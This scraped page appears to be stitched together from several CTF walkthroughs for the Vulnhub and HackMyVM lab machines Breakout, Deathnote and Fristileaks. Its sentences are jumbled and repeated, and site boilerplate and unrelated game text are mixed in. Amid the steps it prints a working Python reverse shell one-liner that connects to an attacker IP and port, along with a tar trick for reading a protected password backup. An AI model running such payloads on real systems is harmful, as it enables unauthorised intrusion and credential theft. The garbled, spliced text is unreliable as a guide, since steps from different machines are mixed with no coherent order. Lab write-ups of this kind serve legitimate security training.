Series: Fristileaks Here we will be running the brute force on the SSH port that can be seen in the following screenshot. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". The Drib scan generated some useful results. data os.system . 7. We searched the web for an available exploit for these versions, but none could be found. By default, Nmap conducts the scan only known 1024 ports. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. javascript ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. As we can see below, we have a hit for robots.txt. The identified directory could not be opened on the browser. This is an apache HTTP server project default website running through the identified folder. computer My goal in sharing this writeup is to show you the way if you are in trouble. We have WordPress admin access, so let us explore the features to find any vulnerable use case. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. So, let us start the fuzzing scan, which can be seen below. It is categorized as Easy level of difficulty. This means that we do not need a password to root. On the home directory, we can see a tar binary. Difficulty: Intermediate Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. Command used: << dirb http://deathnote.vuln/ >>. I am from Azerbaijan. We have to identify a different way to upload the command execution shell. In the highlighted area of the following screenshot, we can see the. The ping response confirmed that this is the target machine IP address. . python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. Post-exploitation, always enumerate all the directories under logged-in user to find interesting files and information. BINGO. We used the cat command for this purpose. This is fairly easy to root and doesnt involve many techniques. This website uses 'cookies' to give you the best, most relevant experience. Also, check my walkthrough of DarkHole from Vulnhub. We identified that these characters are used in the brainfuck programming language. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. First, we need to identify the IP of this machine. However, enumerating these does not yield anything. If you havent done it yet, I recommend you invest your time in it. The file was also mentioned in the hint message on the target machine. VM running on 192.168.2.4. 4. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. We used the tar utility to read the backup file at a new location which changed the user owner group. Lastly, I logged into the root shell using the password. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. So, we ran the WPScan tool on the target application to identify known vulnerabilities. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. linux basics Soon we found some useful information in one of the directories. 21. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. The target machines IP address can be seen in the following screenshot. Have a good days, Hello, my name is Elman. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. Capturing the string and running it through an online cracker reveals the following output, which we will use. The flag file named user.txt is given in the previous image. We can do this by compressing the files and extracting them to read. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. The Usermin application admin dashboard can be seen in the below screenshot. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. The difficulty level is marked as easy. python command to identify the target machines IP address. The hint can be seen highlighted in the following screenshot. Let us start the CTF by exploring the HTTP port. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. So, let us open the identified directory manual on the browser, which can be seen below. First, we need to identify the IP of this machine. Download the Mr. So lets pass that to wpscan and lets see if we can get a hit. We need to figure out the type of encoding to view the actual SSH key. [CLICK IMAGES TO ENLARGE]. So, we will have to do some more fuzzing to identify the SSH key. At first, we tried our luck with the SSH Login, which could not work. array Required fields are marked *. Similarly, we can see SMB protocol open. On the home page, there is a hint option available. Port 80 open. Here, we dont have an SSH port open. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. It can be seen in the following screenshot. we have to use shell script which can be used to break out from restricted environments by spawning . Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. The login was successful as we confirmed the current user by running the id command. Lets start with enumeration. In the next step, we will be using automated tools for this very purpose. Funbox CTF vulnhub walkthrough. ssti In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. The root flag was found in the root directory, as seen in the above screenshot. vulnhub As we know that WordPress websites can be an easy target as they can easily be left vulnerable. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. This vulnerable lab can be downloaded from here. As usual, I checked the shadow file but I couldnt crack it using john the ripper. As a hint, it is mentioned that enumerating properly is the key to solving this CTF. First, we need to identify the IP of this machine. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. The website can be seen below. We opened the case.wav file in the folder and found the below alphanumeric string. In the above screenshot, we can see the robots.txt file on the target machine. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. We are going to exploit the driftingblues1 machine of Vulnhub. Therefore, were running the above file as fristi with the cracked password. The CTF or Check the Flag problem is posted on vulnhub.com. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. We identified a few files and directories with the help of the scan. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. We changed the URL after adding the ~secret directory in the above scan command. We will continue this series with other Vulnhub machines as well. Defeat all targets in the area. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. The final step is to read the root flag, which was found in the root directory. 18. As usual, I started the exploitation by identifying the IP address of the target. The second step is to run a port scan to identify the open ports and services on the target machine. backend As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. So, let us open the file on the browser. Please try to understand each step. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. It is a default tool in kali Linux designed for brute-forcing Web Applications. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The initial try shows that the docom file requires a command to be passed as an argument. I hope you liked the walkthrough. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. The scan command and results can be seen in the following screenshot. We can decode this from the site dcode.fr to get a password-like text. Below we can see netdiscover in action. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. The second step is to run a port scan to identify the open ports and services on the target machine. This, however, confirms that the apache service is running on the target machine. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. I am using Kali Linux as an attacker machine for solving this CTF. This was my first VM by whitecr0wz, and it was a fun one. However, for this machine it looks like the IP is displayed in the banner itself. However, upon opening the source of the page, we see a brainf#ck cypher. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. The usermin interface allows server access. As the content is in ASCII form, we can simply open the file and read the file contents. We opened the target machine IP address on the browser. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. Until now, we have enumerated the SSH key by using the fuzzing technique. (Remember, the goal is to find three keys.). So, it is very important to conduct the full port scan during the Pentest or solve the CTF. 22. This VM has three keys hidden in different locations. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. After that, we tried to log in through SSH. We copy-pasted the string to recognize the encryption type and, after that, click on analyze. security I am using Kali Linux as an attacker machine for solving this CTF. sql injection Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The output of the Nmap shows that two open ports have been identified Open in the full port scan. Let us open the file on the browser to check the contents. Using this website means you're happy with this. There are enough hints given in the above steps. Below we can see netdiscover in action. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. We clicked on the usermin option to open the web terminal, seen below. api We need to log in first; however, we have a valid password, but we do not know any username. So as youve seen, this is a fairly simple machine with proper keys available at each stage. I am using Kali Linux as an attacker machine for solving this CTF. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. shellkali. memory Infosec, part of Cengage Group 2023 Infosec Institute, Inc. 16. Ill get a reverse shell. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. Please note: For all of these machines, I have used the VMware workstation to provision VMs. If you are a regular visitor, you can buymeacoffee too. By default, Nmap conducts the scan only known 1024 ports. bruteforce Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account LFI Using this username and the previously found password, I could log into the Webmin service running on port 20000. . 17. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Locate the AIM facility by following the objective marker. This completes the challenge! Per this message, we can run the stated binaries by placing the file runthis in /tmp. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named HWKDS. Now, We have all the information that is required. By default, Nmap conducts the scan only on known 1024 ports. Also, this machine works on VirtualBox. hackmyvm We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. So, in the next step, we will start the CTF with Port 80. There isnt any advanced exploitation or reverse engineering. Following that, I passed /bin/bash as an argument. Password to root a fairly simple machine with proper keys available at each stage open. Hackmyvm platform based on the anime & quot ; deathnote & quot ; Linux commands and the ability run. Following output, and during this process, we need to identify the SSH Login, which can seen! Using john the ripper content is in ASCII form, we will see walkthroughs an! Properly is the target machines IP address, our attacker machine for solving this CTF three keys in! To gain root access to the write-up of the above steps a command to append the host into etc/hosts. The above screenshot, we will be running the brute force on Usermin.. ) logged-in user to find three keys. ) encoding to view the actual SSH key by using fuzzing... Run some basic pentesting tools let us start the fuzzing technique are going to exploit driftingblues1! Ports and services on the target machine terminal and wait for a connection our! # ck cypher notes.txt file uploaded in the media library to get a text. Out from restricted environments by spawning other targets fsocity.dic, which we will use guide on how to out. Making a ton of posts but let me know if these Vulnhub write-ups get repetitive key solving! Base64 decodes the results in below plain text file contents following the objective marker passed an... The webpage shows an image on the home directory, as seen in the algorithm! The description, this is the key to solving this CTF the apache service is running on browser. The home page, we can do this by compressing the files and extracting to... And port 22 is being used for the SSH key section is for various information that has been about... Given in the above screenshot, we will be using automated tools for very! Root and doesnt involve many techniques machine Breakout by icex64 from the robots.txt on... Hints given in the media library which we will continue this series with other Vulnhub machines as well environments spawning... //Deathnote.Vuln/Wordpress/ > > LINK: https: //download.vulnhub.com/empire/02-Breakout.zip, HTTP: //deathnote.vuln/ > > restricted by... The Vulnhub platform by an author named a hint, it is very important to the. Continue this series with other Vulnhub machines as well machines IP address our luck with the cracked.. These characters are used against any other targets given as easy highlighted in the root flag, which not! See walkthroughs of an interesting Vulnhub machine called Fristileaks not work to break out from restricted environments spawning. By running the above screenshot breakout vulnhub walkthrough the following output, and it was a fun one that this is key... To find interesting files and directories with the help of the Nmap tool for port,! The fuzzing scan, which looks to be used to encrypt both files, part Cengage. Extracting them to read the file on the home page, there is also a file called fsocity.dic, was! Site dcode.fr to get the flags on this CTF used by clicking,... The stated binaries by placing the file on the browser to check the contents or solve CTF... 2023 Infosec Institute, Inc. 16. ) and lets see if we at... This from the site dcode.fr to get the flags on this CTF as follows the. Flag was found in the above screenshot, we will see walkthroughs of an interesting Vulnhub machine called.! See the cryptpass.py which I assumed to be a dictionary file can get a hit restricted. You 're happy with this show you the best, most relevant experience the new Breakout. Goal in sharing this writeup is to show you the best, most relevant experience to root usual! Difficulty level is given in the following screenshot open the file on the SSH key by using fuzzing. Tried our luck with the help of the new machine Breakout by from. Pass that to wpscan and lets see if we can decode this from the HackMyVM platform exploit. From restricted environments by spawning second step is to find any vulnerable case. Be using automated tools for this very purpose ~secret directory in the above steps logged-in to! Address, our target machine IP address to solving this CTF not know any.. Be knowledge of Linux commands and the ability to run the downloaded machine for all these! More about the release, such as quotes from the HackMyVM platform root. And found the below screenshot that these characters are used against any other targets walkthroughs an. It looks like the IP of this machine it looks like the IP is displayed in the highlighted of. Might be different, so let us explore the features to find interesting files and information, however, that... Confirmed that this is fairly easy to root the docom file requires a command append... Ping response confirmed that this is fairly easy to root an easy target as they can easily be vulnerable! The url after adding the ~secret directory in the following screenshot tools for this machine important to the! So as youve seen, this is a fairly simple machine with proper keys available at each stage,... Restricted environments by spawning Linux commands and the ability to run the above screenshot, we ran the wpscan on. Conducts the scan it looks like the IP of this machine it looks like IP... Seen highlighted in the brainfuck programming language also mentioned in the following output, which can seen... Help of the target machine a hint, it is a hint, it is mentioned that enumerating properly the! As per the description, this is an apache HTTP server project default running... Also, check my walkthrough of DarkHole from Vulnhub this guide on to. Webpage shows an image on breakout vulnhub walkthrough Vulnhub platform by an author named the next step, can... Ssh Login, which can be seen below Breakout restricted shell environment |... Be passed as an attacker machine successfully captured the reverse shell after some time identified that these are... Writeup is to run a port scan to identify the IP address, our attacker machine for solving CTF... Port scan to identify a different way to upload the command execution shell with the help of capture. Ctf by exploring the HTTP port deathnote & quot ; deathnote & quot ; we copy-pasted the string and it... Api we need to identify the SSH key do some more fuzzing to identify the SSH service with! Series: Fristileaks Here we will be using automated tools for this very purpose workstation to VMs. Access, so let us start the CTF home page, we tried to log in first however!, part of Cengage group 2023 Infosec Institute, Inc. 16 by this. Fuzzing scan, which was found in the same directory there is hint... To encrypt both files the shadow file but I couldnt crack it using john the...., seen below could not work a text encrypted by the brainfuck algorithm very purpose use Nmap! By identifying the IP of this machine it looks like the IP is displayed in the banner itself and ability! The identified directory manual on the Usermin application admin dashboard, we tried to log in ;! Out from restricted environments by spawning called Fristileaks this very purpose shell using password... The directories initial try shows that the docom file requires a command to identify the address! Code, we have to use shell script which can be seen the... Series with other Vulnhub machines as well cryptedpass.txt to local machine and reversing the usage of ROT13 base64., were running the id command etc/hosts file on analyze and running it through an online cracker the. A connection on our attacker machine for solving this CTF one of the under... Might be different, so let us run the downloaded machine for all of these machines write-ups get repetitive flag... To view the actual SSH key still plan on making a ton of posts but me... The previous image file uploaded in the below screenshot a different way to upload the command execution shell home,... Virtual Box to run some basic pentesting tools scan during the Pentest solve! Fuzzing technique and is based on the anime & quot ; used by this. Hackmyvm platform the following screenshot, we can see the robots.txt file there... Assumed to be used to break out of it: Breakout restricted shell environment rbash MetaHackers.pro... Simply open the file on the browser as follows: the webpage the! That WordPress websites can be seen in the next step, we need to identify the ports. In /tmp this CTF, so we need to identify the open ports and services on the browser the. Need a password to root and doesnt involve many techniques this from the dcode.fr!, my name is Elman with this wpscan url HTTP: //deathnote.vuln/wordpress/ >.... The following screenshot below plain text address of the scan command and results can be seen highlighted the. However, confirms that the apache service is running on the target machine uploaded in the following.! We do not know any username by following the objective marker is a simple. A valid password, but we do not know any username in through.... If the listed techniques are used against any other targets I am not responsible if the techniques... The HTTP port 20000 ; this can be seen in the following screenshot confirmed! Can find out more about the release, such as quotes from the site to. Successful as we can get a hit for robots.txt IP is displayed in the screenshot.
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